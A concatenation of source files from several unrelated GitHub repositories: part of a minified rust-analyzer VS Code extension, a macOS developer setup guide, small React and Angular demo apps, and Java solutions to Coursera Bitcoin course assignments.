";throw(i.code==="EBUSY"||i.code==="ETXTBSY"||i.code==="EPERM")&&(s+="Other vscode windows might be using rust-analyzer, ",s+="you should close them and reload this window to retry. "),s+='See the logs in "OUTPUT > Rust Analyzer Client" (should open automatically). ',s+='To enable verbose logs use { "rust-analyzer.trace.extension": true }',ae.error("Bootstrap error",i),new Error(s)});if((he.workspace.workspaceFolders||[]).length===0){let i=he.workspace.textDocuments.filter(s=>un(s));if(i.length>0)Jt=await io.create(e,r,n,{kind:"Detached Files",files:i});else throw new Error("no rust files are opened")}else Jt=await io.create(e,r,n,{kind:"Workspace Folder"}),Jt.pushCleanup(sb(Jt.config));await A0(r,Jt),Yb(Jt),W0(),Jt.pushCleanup(H0()),he.workspace.onDidChangeConfiguration(i=>{var s;return(s=Jt==null?void 0:Jt.client)==null?void 0:s.sendNotification("workspace/didChangeConfiguration",{settings:""}).catch(ae.error)},null,Jt.subscriptions)}async function A0(r,e){let t=he.commands.registerCommand("rust-analyzer.onEnter",()=>he.commands.executeCommand("default:type",{text:`
`}));r.subscriptions.push(t),await Ll(uC,!0),e.registerCommand("reload",n=>async()=>{for(he.window.showInformationMessage("Reloading rust-analyzer..."),await dC();r.subscriptions.length>0;)try{r.subscriptions.pop().dispose()}catch(i){ae.error("Dispose error:",i)}await lC(r).catch(ae.error)}),e.registerCommand("updateGithubToken",n=>async()=>{await hC(new fc(n.globalState))}),e.registerCommand("analyzerStatus",pb),e.registerCommand("memoryUsage",gb),e.registerCommand("shuffleCrateGraph",mb),e.registerCommand("reloadWorkspace",Ib),e.registerCommand("matchingBrace",vb),e.registerCommand("joinLines",yb),e.registerCommand("parentModule",_b),e.registerCommand("syntaxTree",Eb),e.registerCommand("viewHir",xb),e.registerCommand("viewItemTree",kb),e.registerCommand("viewCrateGraph",Ob),e.registerCommand("viewFullCrateGraph",Ab),e.registerCommand("expandMacro",Fb),e.registerCommand("run",Hb),e.registerCommand("copyRunCommandLine",Ub),e.registerCommand("debug",Kb),e.registerCommand("newDebugConfig",Vb),e.registerCommand("openDocs",jb),e.registerCommand("openCargoToml",Sb),e.registerCommand("peekTests",zb),e.registerCommand("moveItemUp",bb),e.registerCommand("moveItemDown",wb),t.dispose(),e.registerCommand("onEnter",Rb),e.registerCommand("ssr",Tb),e.registerCommand("serverVersion",Pb),e.registerCommand("toggleInlayHints",Db),e.registerCommand("runSingle",Bb),e.registerCommand("debugSingle",Gb),e.registerCommand("showReferences",Lb),e.registerCommand("applySnippetWorkspaceEdit",Wb),e.registerCommand("resolveCodeAction",$b),e.registerCommand("applyActionGroup",Nb),e.registerCommand("gotoLocation",Mb)}async function dC(){await Ll(uC,void 0),await(Jt==null?void 0:Jt.client.stop()),Jt=void 0}async function F0(r,e){return await he.workspace.fs.createDirectory(r.globalStorageUri).then(),r.currentExtensionIsNightly||await e.updateNightlyReleaseId(void 0),await I0(r,e),await L0(r,e)}async function I0(r,e){if(r.package.releaseTag===null)return;if(r.channel==="stable"){r.currentExtensionIsNightly&&he.window.showWarningMessage("You are running a nightly version of rust-analyzer extension. To switch to stable, uninstall the extension and re-install it from the marketplace");return}if(fC(r))return;let t=Date.now(),n=e.nightlyReleaseId===void 0;if(r.currentExtensionIsNightly){let u=e.lastCheck,g=60*60*1e3;if(!(n||t-(u??0)>g))return}let i=await xc(e,async()=>await pd("nightly",e.githubToken,r.proxySettings)).catch(async u=>{ae.error(u),n&&await he.window.showErrorMessage(`Failed to download rust-analyzer nightly: ${u}`)});if(i===void 0){n&&await he.window.showErrorMessage("Failed to download rust-analyzer nightly: empty release contents returned");return}if(r.currentExtensionIsNightly&&i.id===e.nightlyReleaseId||await he.window.showInformationMessage("New version of rust-analyzer (nightly) is available (requires reload).","Update")!=="Update")return;let a=i.assets.find(u=>u.name==="rust-analyzer.vsix");cn(!!a,`Bad release: ${JSON.stringify(i)}`);let l=he.Uri.joinPath(r.globalStorageUri,"rust-analyzer.vsix");await xc(e,async()=>{await gd({url:a.browser_download_url,dest:l,progressTitle:"Downloading rust-analyzer extension",proxySettings:r.proxySettings})}),await he.commands.executeCommand("workbench.extensions.installExtension",l),await he.workspace.fs.delete(l),await e.updateNightlyReleaseId(i.id),await e.updateLastCheck(t),await he.commands.executeCommand("workbench.action.reloadWindow")}async function L0(r,e){let t=await M0(r,e);if(!t)throw new Error("Rust Analyzer Language Server is not available. Please, ensure its [proper installation](https://rust-analyzer.github.io/manual.html#installation).");if(ae.info("Using server binary at",t),!Yy(t))throw r.serverPath?new Error(`Failed to execute ${t} --version. \`config.server.path\` or \`config.serverPath\` has been set explicitly. Consider removing this config or making a valid server binary available at that path.`):new Error(`Failed to execute ${t} --version`);return t}async function N0(r){await he.window.withProgress({location:he.ProgressLocation.Notification,title:"Patching rust-analyzer for NixOS"},async(e,t)=>{let n=`
{srcStr, pkgs ? import <nixpkgs> {}}:
pkgs.stdenv.mkDerivation {
name = "rust-analyzer";
src = /. + srcStr;
phases = [ "installPhase" "fixupPhase" ];
installPhase = "cp $src $out";
fixupPhase = ''
chmod 755 $out
patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" $out
'';
}
`,i=he.Uri.file(r.fsPath+"-orig");await he.workspace.fs.rename(r,i,{overwrite:!0});try{e.report({message:"Patching executable",increment:20}),await new Promise((s,a)=>{var u,g;let l=(0,Ec.exec)(`nix-build -E - --argstr srcStr '${i.fsPath}' -o '${r.fsPath}'`,(v,b,C)=>{v!=null?a(Error(C)):s(b)});(u=l.stdin)==null||u.write(n),(g=l.stdin)==null||g.end()})}finally{await he.workspace.fs.delete(i)}})}async function M0(r,e){let t=fC(r);if(t)return t.startsWith("~/")?cC.homedir()+t.slice("~".length):t;if(r.package.releaseTag===null)return"rust-analyzer";let i={"ia32 win32":"x86_64-pc-windows-msvc","x64 win32":"x86_64-pc-windows-msvc","x64 linux":"x86_64-unknown-linux-gnu","x64 darwin":"x86_64-apple-darwin","arm64 win32":"aarch64-pc-windows-msvc","arm64 linux":"aarch64-unknown-linux-gnu","arm64 darwin":"aarch64-apple-darwin"}[`${process.arch} ${process.platform}`];if(i===void 0){await he.window.showErrorMessage("Unfortunately we don't ship binaries for your platform yet. You need to manually clone rust-analyzer repository and run `cargo xtask install --server` to build the language server from sources. If you feel that your platform should be supported, please create an issue about that [here](https://github.com/rust-analyzer/rust-analyzer/issues) and we will consider it.");return}i==="x86_64-unknown-linux-gnu"&&$0()&&(i="x86_64-unknown-linux-musl");let s=i.indexOf("-windows-")!==-1?".exe":"",a=he.Uri.joinPath(r.globalStorageUri,`rust-analyzer-${i}${s}`);if(await he.workspace.fs.stat(a).then(()=>!0,()=>!1)||await e.updateServerVersion(void 0),e.serverVersion===r.package.version||r.askBeforeDownload&&await he.window.showInformationMessage(`Language server version ${r.package.version} for rust-analyzer is not installed.`,"Download now")!=="Download now")return a.fsPath;let u=r.package.releaseTag,g=await xc(e,async()=>await pd(u,e.githubToken,r.proxySettings)),v=g.assets.find(b=>b.name===`rust-analyzer-${i}.gz`);return cn(!!v,`Bad release: ${JSON.stringify(g)}`),await xc(e,async()=>{await gd({url:v.browser_download_url,dest:a,progressTitle:"Downloading rust-analyzer server",gunzip:!0,mode:493,proxySettings:r.proxySettings})}),await j0()&&await N0(a),await e.updateServerVersion(r.package.version),a.fsPath}function fC(r){return process.env.__RA_LSP_SERVER_DEBUG??r.serverPath}async function j0(){try{return(await he.workspace.fs.readFile(he.Uri.file("/etc/os-release"))).toString().indexOf("ID=nixos")!==-1}catch{return!1}}function $0(){let r=(0,Ec.spawnSync)("ldd",["--version"]);return r.stderr!=null&&r.stderr.indexOf("musl libc")>=0}async function xc(r,e){for(;;)try{return await e()}catch(t){let n=await he.window.showErrorMessage("Failed to download: "+t.message,{},{title:"Update Github Auth Token",updateToken:!0},{title:"Retry download",retry:!0},{title:"Dismiss"});if(n==null?void 0:n.updateToken){await hC(r);continue}else if(n==null?void 0:n.retry)continue;throw t}}async function hC(r){let e={value:r.githubToken,password:!0,prompt:`
This dialog allows to store a Github authorization token.
The usage of an authorization token will increase the rate
limit on the use of Github APIs and can thereby prevent getting
throttled.
Auth tokens can be created at https://github.com/settings/tokens`},t=await he.window.showInputBox(e);t!==void 0&&(t===""?(ae.info("Clearing github token"),await r.updateGithubToken(void 0)):(ae.info("Storing new github token"),await r.updateGithubToken(t)))}function W0(){let e=[["rust-analyzer","matklad.rust-analyzer"],["Rust","rust-lang.rust"],["Rust","kalitaalexey.vscode-rust"]].filter(t=>he.extensions.getExtension(t[1])!==void 0);if(e.length>1){let t=e[0],n=e[1];he.window.showWarningMessage(`You have both the ${t[0]} (${t[1]}) and ${n[0]} (${n[1]}) plugins enabled. These are known to conflict and cause various functions of both plugins to not work correctly. You should disable one of them.`,"Got it").then(()=>{},console.error)}}function H0(){let r=he.IndentAction.None;return he.languages.setLanguageConfiguration("rust",{onEnterRules:[{beforeText:/^\s*\/{3}.*$/,action:{indentAction:r,appendText:"/// "}},{beforeText:/^\s*\/{2}\!.*$/,action:{indentAction:r,appendText:"//! "}},{beforeText:/^\s*\/\*(\*|\!)(?!\/)([^\*]|\*(?!\/))*$/,afterText:/^\s*\*\/$/,action:{indentAction:he.IndentAction.IndentOutdent,appendText:" * "}},{beforeText:/^\s*\/\*(\*|\!)(?!\/)([^\*]|\*(?!\/))*$/,action:{indentAction:r,appendText:" * "}},{beforeText:/^(\ \ )*\ \*(\ ([^\*]|\*(?!\/))*)?$/,action:{indentAction:r,appendText:"* "}},{beforeText:/^(\ \ )*\ \*\/\s*$/,action:{indentAction:r,removeText:1}}]})}0&&(module.exports={activate,deactivate});
/*! fetch-blob. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */
/*! formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */
```
setup_mac.md
```# 1. Install
## tools
* [HHKB](https://www.pfu.fujitsu.com/hhkeyboard/macdownload.html)
* [Google日本語入力](https://www.google.co.jp/ime/)
* [Chrome](https://www.google.com/intl/ja_ALL/chrome/)
* [Clipy](https://clipy-app.com/)
* [Alfred](https://www.alfredapp.com/)
* [Notion](https://www.notion.so/desktop)
## private
* [Spotify](https://www.spotify.com/jp/download/mac/)
* Kindle
* honto
* DMM books
## development
* Xcode
* [iterm2](https://www.iterm2.com/) or [kitty](https://sw.kovidgoyal.net/kitty/)
* [Android Studio](https://developer.android.com/studio/?hl=ja)
* [Zoom](https://zoom.us/download)
* [Slack](https://slack.com/intl/ja-jp/downloads/mac)
* [Docker Desktop](https://hub.docker.com/editions/community/docker-ce-desktop-mac/)
* [Visual Studio Code](https://code.visualstudio.com/download)
* [Postman](https://www.postman.com/downloads/)
### shell関連
#### homebrew
https://brew.sh/
```sh
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew update
```
#### zsh
```sh
# install https://github.com/sorin-ionescu/prezto
git clone --recursive https://github.com/sorin-ionescu/prezto.git "${ZDOTDIR:-$HOME}/.zprezto"
setopt EXTENDED_GLOB
for rcfile in "${ZDOTDIR:-$HOME}"/.zprezto/runcoms/^README.md(.N); do
ln -s "$rcfile" "${ZDOTDIR:-$HOME}/.${rcfile:t}"
done
cp -rf configs/prezto/.zpreztorc ~/
git clone https://github.com/0keita/prezto
cp -rf prezto/modules/my_* prezto/modules/custom .zprezto/modules
chsh -s /usr/local/bin/zsh
git clone https://github.com/0keita/configs
cp -rf configs/.config ./
# font
brew tap homebrew/cask-fonts
brew install font-hackgen
brew install font-hackgen-nerd
# peco
brew install peco
# github
cp configs/github/.gitconfig ~/
git config --global user.name "John Doe"
git config --global user.email johndoe@example.com
# SSH auth see: https://docs.github.com/en/authentication/connecting-to-github-with-ssh
```
### editors
#### vim
```sh
brew install neovim
# deoplete, see: https://github.com/Shougo/deoplete.nvim
pip3 install --user pynvim
```
#### Visual Studio Code
```sh
cp -rf configs/.vscode ~/
cp visual_studio_code_user/* /Users/yoshida_keita/Library/Application\ Support/Code/User/
```
### Programming
#### Ruby
```sh
brew install rbenv
rbenv init
rbenv install 3.1.0
rbenv rehash
rbenv global 3.1.0
```
#### python
```sh
brew install pyenv pyenv-virtualenv
# zlibでコケたときのみ
sudo installer -pkg /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pkg -target /
pyenv install 3.10.6
pyenv install 2.7.18
pyenv global 3.10.6 2.7.18
```
### Backend
```sh
# jq
brew install jq
```
### Mobile app
#### iOS
```sh
# swift
git clone https://github.com/kylef/swiftenv.git ~/.swiftenv
# carthage
brew install carthage
```
#### Android
```sh
# androidtool
brew cask install androidtool
```
todo
- hack類の解凍
- nvimの変換とか対応
- keychain
```
classpath.js
```"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.updateClasspath = void 0;
const vscode = require("vscode");
const xml2js = require("xml2js");
const fs = require("fs");
/**
* Updates .classpath file in project workspace.
*
* @param force If true, forces patch of .classpath file even if this is not a JavaFX project.
* Used when `javafx-support.updateClasspath` command is manually called.
*/
function updateClasspath(force) {
return __awaiter(this, void 0, void 0, function* () {
const JDT_PATH = "org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8";
const JAVAFX_ACCESSRULE = [
{ $: { kind: "accessible", pattern: "javafx/**" } },
{ $: { kind: "accessible", pattern: "com/sun/javafx/**" } }
];
// fetch .classpath file
const fileList = yield vscode.workspace.findFiles(".classpath");
// don't continue if .classpath file doesn't exist
if (fileList.length === 0) {
console.warn("No .classpath file found");
return;
}
// get .classpath file path
const fileName = fileList[0].fsPath;
// read file as string
const fileData = fs.readFileSync(fileName, { encoding: 'utf-8' });
// parse string into JSON object
xml2js.parseString(fileData, (err, obj) => {
// find <classpathentry> for JDT path
const jdtEntry = obj.classpath.classpathentry.filter((x) => x.$.path === JDT_PATH)[0];
// cancel if <classpathentry> for JDT path doesn't exist
if (jdtEntry) {
// if <accessrules> doesn't exist, add it
if (!jdtEntry.accessrules) {
console.log("Updating .classpath...");
// remove old <classpathentry> from XML
const entryIndex = obj.classpath.classpathentry.indexOf(jdtEntry);
delete obj.classpath.classpathentry[entryIndex];
// add <accessrule> allowing usage of JavaFX
const newJdtEntry = { $: jdtEntry.$, attributes: jdtEntry.attributes, accessrules: [{ accessrule: JAVAFX_ACCESSRULE }] };
// push new <classpathentry> to JSON object
obj.classpath.classpathentry.push(newJdtEntry);
// build and write XML data to file
const newFileData = new xml2js.Builder().buildObject(obj);
fs.writeFileSync(fileName, newFileData);
vscode.window.showInformationMessage("JavaFX Support: Successfully updated project configuration");
}
else {
console.log("\".classpath\" already allows JavaFX access");
}
}
else {
console.log("Not a Java 8 project, skipping \".classpath\" patch...");
}
});
});
}
exports.updateClasspath = updateClasspath;
//# sourceMappingURL=classpath.js.map```
|
0na/React.js-ListOfMovies
|
0na/React.js-ListOfMovies
script.js
```"use script"
var movies = [{
id: 1,
title: 'Django Unchained',
desc: 'With the help of a German bounty hunter, a freed slave sets out to rescue his wife from a brutal Mississippi plantation owner,',
image: "images/django.jpg",
},
{
id: 2,
title: 'Shutter Island',
desc: 'In 1954, a U.S. Marshal investigates the disappearance of a murderer, who escaped from a hospital for the criminally insane.',
image: "images/shutter.jpg",
},
{
id: 3,
title: 'Inglourious Basterds',
desc: 'In Nazi-occupied France during World War II, a plan to assassinate Nazi leaders by a group of Jewish U.S. soldiers coincides with a theatre owners vengeful plan for the same.',
image: "images/bastards.jpg",
},
{
id: 4,
title: 'Intouchables',
desc: 'After he becomes a quadriplegic from a paragliding accident, an aristocrat hires a young man from the projects to be his caregiver.',
image: "images/intouchables.jpg"
}, {
id: 5,
title: 'Pulp Fiction',
desc: 'The lives of two mob hitmen, a boxer, a gangsters wife and a pair of diner bandits intertwine in four tales of violence and redemption.',
image: "images/pulp.jpg"
}
];
var MovieTitle = React.createClass({
propTypes: {
movie: React.PropTypes.string.isRequired,
},
render: function () {
return (
React.createElement('h2', {}, this.props.movie)
);
}
});
var MovieDescription = React.createClass({
propTypes: {
desc: React.PropTypes.string.isRequired,
},
render: function () {
return (
React.createElement('p', {}, this.props.desc)
);
}
});
var MovieImage = React.createClass({
propTypes: {
image: React.PropTypes.string.isRequired,
},
render: function () {
return (
React.createElement('img', {
src: this.props.image
}, )
);
}
});
var MoviesList = React.createClass({
propTypes: {
list: React.PropTypes.array.isRequired,
},
render: function () {
var moviesElements = this.props.list.map(function (movie) {
return (
React.createElement(Movie, {
movie: movie,
key: movie.id
})
)
});
return (
React.createElement('ul', {}, moviesElements)
)
}
})
var Movie = React.createClass({
propTypes: {
movie: React.PropTypes.object.isRequired,
},
render: function () {
return (
React.createElement("li", {
key: this.props.movie.id
},
React.createElement(MovieTitle, {
movie: this.props.movie.title
}),
React.createElement(MovieDescription, {
desc: this.props.movie.desc
}),
React.createElement(MovieImage, {
image: this.props.movie.image
})
)
);
}
});
//Za pomocą metody createElement tworzymy obiekt, który w Reakcie nazywa się ReactElement. Metoda ta przyjmuje trzy parametry:
//nazwę klasy, na podstawie której ma zostać stworzony element,
//propsy, czyli właściwości danego elementu (wejścia),
//dzieci elementu, czyli to, co ma się znaleźć wewnątrz. Może to być zarówno tekst, jak i kolejny ReactElement.
var element =
React.createElement('div', {},
React.createElement('h1', {}, 'Lista filmów'),
React.createElement(MoviesList, {
list: movies
})
);
//Za pomocą metody createElement tworzymy obiekt
ReactDOM.render(element, document.getElementById('app')); //mamy już gotowy element, możemy wyrenderować go w odpowiednim miejscu w drzewie DOM. Tym właśnie zajmuje się metoda render, która jako parametry przyjmuje: ReactElement (np. ten który stworzyliśmy linijkę wyżej),węzeł drzewa DOM, do którego element ma się "wpiąć".```
|
0on/angular-test
|
0on/angular-test
store.js
```angular.module('comments.service', [])
.factory('LocalStorage', function () {
"use strict";
var ID = "comments-local-storage";
var store = {
save: function (comments) {
localStorage.setItem(ID, JSON.stringify(comments));
},
load: function () {
return JSON.parse(localStorage.getItem(ID));
}
};
return store;
});
```
README.md
```# lj-test
```
$ npm install
$ gulp
```
todo:
1) collapse branch & collapsed count
2) edited mark
3) tests
4) empty field validation```
gulpfile.js
```"use strict";
var gulp = require('gulp'),
connect = require('gulp-connect'),
uglify = require('gulp-uglify'),
del = require('del'),
rename = require("gulp-rename");
gulp.task('connect', function() {
connect.server({
root: './build',
livereload: true
});
});
gulp.task('html', function () {
gulp.src('./*.html')
.pipe(gulp.dest('./build'))
.pipe(connect.reload());
});
gulp.task('js', function () {
gulp.src('./js/**/*.js')
.pipe(gulp.dest('./build/js'))
.pipe(connect.reload());
});
gulp.task('angular', function () {
gulp.src('./node_modules/angular/angular.js')
.pipe(gulp.dest('./build/js/vendor'))
.pipe(connect.reload());
});
gulp.task('bootstrap', function () {
gulp.src('./node_modules/bootstrap/dist/css/bootstrap.css')
.pipe(gulp.dest('./build/css/vendor'))
.pipe(connect.reload());
});
gulp.task('watch', function () {
gulp.watch(['./*.html'], ['html']);
gulp.watch(['./js/**/*.js'], ['js']);
});
gulp.task('clean', function (cb) {
del(['./build'], cb);
});
gulp.task('build', ['clean'], function () {
gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css')
.pipe(rename('bootstrap.css'))
.pipe(gulp.dest('./build/css/vendor/'));
gulp.src('./node_modules/angular/angular.min.js')
.pipe(rename('angular.js'))
.pipe(gulp.dest('./build/js/vendor'));
gulp.src('./*.html')
.pipe(gulp.dest('./build'));
gulp.src('./js/**/*.js')
.pipe(uglify())
.pipe(gulp.dest('./build/js'));
});
gulp.task('default', ['angular', 'bootstrap', 'js', 'html', 'connect', 'watch']);```
commentsController.js
```angular.module('comments', ['comments.service'])
.controller('CommentsCtrl', ['$scope', 'LocalStorage', '$window', function CommentsCtrl($scope, LocalStorage, $window) {
"use strict";
$scope.comments = LocalStorage.load() || [];
$scope.activeComment = null;
var commentForAdding,
commentBackUp;
$window.addEventListener('beforeunload', function () {
$scope.cancelEditing();
LocalStorage.save($scope.comments);
});
$scope.addComment = function () {
$scope.cancelEditing();
$scope.activeComment = new Comment('', '', true);
};
$scope.saveComment = function (commentsLevel, comment, index) {
comment.editable = false;
comment.date = new Date();
commentsLevel[index] = comment;
};
$scope.saveNewComment = function () {
$scope.saveComment($scope.comments, $scope.activeComment, $scope.comments.length);
$scope.cancelAdding();
};
$scope.reply = function (comment) {
$scope.cancelAdding();
$scope.cancelEditing();
commentForAdding = comment;
comment.replies[comment.replies.length] = new Comment('@' + comment.author + ' ', '', true);
};
$scope.cancelAdding = function () {
$scope.activeComment = null;
};
$scope.cancelEditing = function () {
if (commentForAdding && commentForAdding.replies.length > 0
&& commentForAdding.replies[commentForAdding.replies.length - 1].editable) {
commentForAdding.replies.pop();
}
restore();
};
$scope.deleteComment = function (parent, index) {
if (confirm('Вы уверены, что хотите удалить комментарий?')) {
var replies = parent.$parent.comment ? parent.$parent.comment.replies : $scope.comments;
replies.splice(index, 1);
}
};
$scope.edit = function (comment, parent) {
$scope.cancelAdding();
commentBackUp = {
indexes: parseIndexes(parent),
comment: angular.extend({}, comment)
};
comment.editable = true;
};
function restore() {
if (commentBackUp) {
var indexes = commentBackUp.indexes,
replies = $scope.comments[indexes[0]].replies,
length = indexes.length - 1;
if (length === 0) {
$scope.comments[commentBackUp.indexes[0]] = commentBackUp.comment;
} else {
for (var i = 1; i < length; i++) {
replies = replies[indexes[i]].replies;
}
replies[indexes[length]] = commentBackUp.comment;
}
commentBackUp = null;
}
}
function parseIndexes(parent) {
var indexes = [];
while (parent) {
if (parent.hasOwnProperty('comment')) {
indexes.unshift(parent.$index);
}
parent = parent.$parent;
}
return indexes;
}
}]);
var Comment = function (text, author, editable) {
this.text = text;
this.author = author;
this.text = text;
this.editable = editable;
this.collapsed = false;
this.date = null;
this.replies = [];
};```
|
0restis/Coursera_Bitcoin_Cryptocurrency
|
0restis/Coursera_Bitcoin_Cryptocurrency
CompliantNode.java
```import java.util.ArrayList;
import java.util.Set;
import java.util.HashSet;
import static java.util.stream.Collectors.toSet;
/* CompliantNode refers to a node that follows the rules (not malicious)*/
public class CompliantNode implements Node {
double p_graph;
double p_malicious;
double p_txDistribution;
int numRounds;
boolean[] followees;
boolean[] malicious;
Set<Transaction> pendingTransactions;
public CompliantNode(double p_graph, double p_malicious, double p_txDistribution, int numRounds) {
this.p_graph = p_graph;
this.p_malicious = p_malicious;
this.p_txDistribution = p_txDistribution;
this.numRounds = numRounds;
}
public void setFollowees(boolean[] followees) {
this.followees = followees;
this.malicious = new boolean[followees.length];
}
public void setPendingTransaction(Set<Transaction> pendingTransactions) {
this.pendingTransactions = pendingTransactions;
}
public Set<Transaction> sendToFollowers() {
Set<Transaction> sendTransactions = new HashSet<>(pendingTransactions);
// clear ahead of next round
pendingTransactions.clear();
return sendTransactions;
}
public void receiveFromFollowees(Set<Candidate> candidates) {
Set<Integer> senders = candidates.stream().map(candidate -> candidate.sender).collect(toSet());
for (int i = 0; i < followees.length; i++) {
if ( followees[i] && !senders.contains(i))
malicious[i] = true;
}
for (Candidate candidate : candidates) {
if (!malicious[candidate.sender]) {
pendingTransactions.add(candidate.tx);
}
}
}
}
```
BlockChain.java
```// Block Chain should maintain only limited block nodes to satisfy the functions
// You should not have all the blocks added to the block chain in memory
// as it would cause a memory overflow.
// Credit goes to user msilb.
import java.util.HashMap;
import java.util.ArrayList;
public class BlockChain {
public static final int CUT_OFF_AGE = 10;
private class BlockNode {
public Block block;
public BlockNode parent;
public ArrayList<BlockNode> children;
public int height;
// for making a new block on top of this block
private UTXOPool upool;
public BlockNode(Block block, BlockNode parent, UTXOPool upool){
this.block = block;
this.parent = parent;
children = new ArrayList<BlockChain.BlockNode>();
this.upool = upool;
if (parent != null) {
height = parent.height + 1;
parent.children.add(this);
}
else {
height = 1;
}
}
public UTXOPool getUTXOPoolCopy() {
return new UTXOPool(upool);
}
}
private BlockNode maxHeightNode;
private TransactionPool txPool;
private HashMap<ByteArrayWrapper, BlockNode> blockChain;
/**
* create an empty block chain with just a genesis block. Assume {@code genesisBlock} is a valid
* block
*/
public BlockChain(Block genesisBlock) {
blockChain = new HashMap<>();
UTXOPool utxopool = new UTXOPool();
addCoinbaseToUTXOPool(genesisBlock, utxopool);
BlockNode genesisNode = new BlockNode(genesisBlock, null, utxopool);
blockChain.put(wrap(genesisBlock.getHash()), genesisNode);
txPool = new TransactionPool();
maxHeightNode = genesisNode;
}
/**
* Get the maximum height block
*/
public Block getMaxHeightBlock() {
return maxHeightNode.block;
}
/** Get the UTXOPool for mining a new block on top of max height block */
public UTXOPool getMaxHeightUTXOPool() {
return maxHeightNode.getUTXOPoolCopy();
}
/** Get the transaction pool to mine a new block */
public TransactionPool getTransactionPool() {
return txPool;
}
/**
* Add {@code block} to the block chain if it is valid. For validity, all transactions should be
* valid and block should be at {@code height > (maxHeight - CUT_OFF_AGE)}.
*
* <p>
* For example, you can try creating a new block over the genesis block (block height 2) if the
* block chain height is {@code <=
* CUT_OFF_AGE + 1}. As soon as {@code height > CUT_OFF_AGE + 1}, you cannot create a new block
* at height 2.
*
* @return true if block is successfully added
*/
public boolean addBlock(Block block) {
byte[] prevBlockHash = block.getPrevBlockHash();
if (prevBlockHash == null) {
return false;
}
BlockNode parentBlockNode = blockChain.get(wrap(prevBlockHash));
if (parentBlockNode == null) {
return false;
}
TxHandler handler = new TxHandler(parentBlockNode.getUTXOPoolCopy());
Transaction[] txs = block.getTransactions().toArray(new Transaction[0]);
Transaction[] validTxs = handler.handleTxs(txs);
if (validTxs.length != txs.length) {
return false;
}
int proposedHeight = parentBlockNode.height + 1;
if (proposedHeight <= maxHeightNode.height - CUT_OFF_AGE) {
return false;
}
UTXOPool utxoPool = handler.getUTXOPool();
addCoinbaseToUTXOPool(block, utxoPool);
BlockNode node = new BlockNode(block, parentBlockNode, utxoPool);
blockChain.put(wrap(block.getHash()), node);
if (proposedHeight > maxHeightNode.height) {
maxHeightNode = node;
}
return true;
}
/** Add a transaction to the transaction pool */
public void addTransaction(Transaction tx) {
txPool.addTransaction(tx);
}
public void addCoinbaseToUTXOPool(Block block, UTXOPool utxoPool) {
Transaction coinbase = block.getCoinbase();
for (int i = 0; i < coinbase.numOutputs(); i++) {
Transaction.Output out = coinbase.getOutput(i);
UTXO utxo = new UTXO(coinbase.getHash(), i);
utxoPool.addUTXO(utxo, out);
}
}
private static ByteArrayWrapper wrap(byte[] arr) {
return new ByteArrayWrapper(arr);
}
}```
TxHandler.java
```import java.util.ArrayList;
import java.util.Arrays;
public class TxHandler {
UTXOPool scrgLedger = new UTXOPool();
/**
* Creates a public ledger whose current UTXOPool (collection of unspent transaction outputs) is
* {@code utxoPool}. This should make a copy of utxoPool by using the UTXOPool(UTXOPool uPool)
* constructor.
*/
public TxHandler(UTXOPool utxoPool) {
scrgLedger = new UTXOPool(utxoPool);
}
/**
* @return true if:
* (1) all outputs claimed by {@code tx} are in the current UTXO pool,
* (2) the signatures on each input of {@code tx} are valid,
* (3) no UTXO is claimed multiple times by {@code tx},
* (4) all of {@code tx}s output values are non-negative, and
* (5) the sum of {@code tx}s input values is greater than or equal to the sum of its output
* values; and false otherwise.
*/
public boolean isValidTx(Transaction tx) {
double txInputSum = 0;
double txOutputSum = 0;
UTXOPool doubleSpend = new UTXOPool();
for (int i = 0; i < tx.numInputs(); i++) {
Transaction.Input in = tx.getInput(i);
UTXO ut = new UTXO(in.prevTxHash, in.outputIndex);
if (!scrgLedger.contains(ut)) return false;
Transaction.Output out = scrgLedger.getTxOutput(ut);
if (!Crypto.verifySignature(out.address, tx.getRawDataToSign(i), in.signature)) return false;
if (doubleSpend.contains(ut)) return false;
doubleSpend.addUTXO(ut,out);
txInputSum += out.value;
}
for (int i = 0; i < tx.numOutputs(); i++) {
if (tx.getOutput(i).value < 0) return false;
txOutputSum += tx.getOutput(i).value;
}
return txInputSum >= txOutputSum;
}
/**
* Handles each epoch by receiving an unordered array of proposed transactions, checking each
* transaction for correctness, returning a mutually valid array of accepted transactions, and
* updating the current UTXO pool as appropriate.
*/
public Transaction[] handleTxs(Transaction[] possibleTxs) {
ArrayList<Transaction> txBlockList = new ArrayList<Transaction>();
for (Transaction tx : possibleTxs){
if (isValidTx(tx)) {
for (Transaction.Input in : tx.getInputs()) {
UTXO ut = new UTXO(in.prevTxHash, in.outputIndex);
scrgLedger.removeUTXO(ut);
}
for (int i = 0; i < tx.numOutputs(); i++) {
UTXO ut = new UTXO(tx.getHash(), i);
scrgLedger.addUTXO(ut,tx.getOutput(i));
}
txBlockList.add(tx);
}
}
Transaction txBlock[] = new Transaction[txBlockList.size()];
return txBlockList.toArray(txBlock);
}
}
```
README.md
```# Coursera-Bitcoin_Cryptocurrency
Assignments of the 'Bitcoin and Cryptocurrency Technologies' course offered in Coursera.
Assignment 1: ScroogeCoin
Assignment 2: Consensus from trust
Assignment 3: BlockChain
```
MaxFeeTxHandler.java
```import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
public class MaxFeeTxHandler {
UTXOPool scrgLedger = new UTXOPool();
/**
* Creates a public ledger whose current UTXOPool (collection of unspent transaction outputs) is
* {@code utxoPool}. This should make a copy of utxoPool by using the UTXOPool(UTXOPool uPool)
* constructor.
*/
